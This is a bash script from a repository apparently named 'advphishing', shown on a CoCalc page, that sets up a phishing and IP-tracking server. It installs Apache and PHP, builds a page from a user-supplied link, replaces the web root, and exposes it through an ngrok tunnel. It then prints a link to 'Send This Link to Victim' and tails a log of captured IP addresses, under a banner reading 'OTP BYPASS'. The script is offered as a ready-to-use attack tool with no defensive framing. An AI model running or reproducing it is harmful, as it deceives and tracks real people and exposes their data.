Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
ignitetch
GitHub Repository: ignitetch/advphishing
Path: blob/master/sites/ipfinder/ipfinder.sh
738 views
1
#!/bin/bash
2
3
4
stop() {
5
6
checkngrok=$(ps aux | grep -o "ngrok" | head -n1)
7
if [[ $checkngrok == *'ngrok'* ]]; then
8
pkill -f -2 ngrok > /dev/null 2>&1
9
killall -2 ngrok > /dev/null 2>&1
10
fi
11
if [[ -e sendlink ]]; then
12
rm -rf sendlink
13
fi
14
15
}
16
17
18
sleep 2
19
# spinner
20
spinlong ()
21
{
22
bar=" +++++++++++++++++++++++++++++++++++++++++++++++++++++++++"
23
barlenght=${#bar}
24
i=o
25
while ((i < 100 )); do
26
n=$((i*barlenght / 100 ))
27
printf "\e[00;32m\r[%-${barlenght}s]\e[00m" "${bar:0:n}"
28
((i += RANDOM%5+2))
29
sleep 0.4
30
done
31
}
32
33
34
#clolors
35
white='\e[1;37m'
36
green='\e[0;32m'
37
blue='\e[1;34m'
38
red='\e[1;31m'
39
yellow='\e[1;33m'
40
echo ""
41
echo ""
42
echo ""
43
44
clear
45
echo -e $green " ┬┌─┐┌─┐┬┌┐┌┌┬┐┌─┐┬─┐ "
46
echo -e $green " │├─┘├┤ ││││ ││├┤ ├┬┘ "
47
echo -e $green " ┴┴ └ ┴┘└┘─┴┘└─┘┴└─ "
48
echo -e $white " +++++++++ OTP BYPASS +++++++ "
49
50
51
echo""
52
echo""
53
echo""
54
55
56
read -p $'\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Enter The Link (Ex : www.facebook.com) \e[0m' pass_text
57
58
sed -e "s/\$1/$pass_text/" post.php > index.php
59
60
sudo apt-get install apache2
61
apt install php
62
systemctl start apache2
63
systemctl restart apache2.service
64
clear
65
mv /var/www/html/* /var/www/
66
rm -rf /var/www/html/*
67
cp -R * /var/www/html/
68
cd ..
69
cd /var/www/html/
70
clear
71
chmod +x *
72
chmod 7777 *
73
echo""
74
echo""
75
echo""
76
./ngrok http 80 > /dev/null &
77
sleep 25
78
./Logo.sh
79
echo ""
80
echo -e $yellow "// [ Send This Link to Victim ] //"
81
echo ""
82
echo -e $white
83
curl -s localhost:4040/api/tunnels | jq -r .tunnels[1].public_url
84
curl -s localhost:4040/api/tunnels | jq -r .tunnels[0].public_url
85
echo ""
86
echo ""
87
echo -e $green "// [ TRACKING ] //"
88
echo -e $white
89
echo ""
90
tail -f ip.txt
91
92
93
94
;;
95
96
97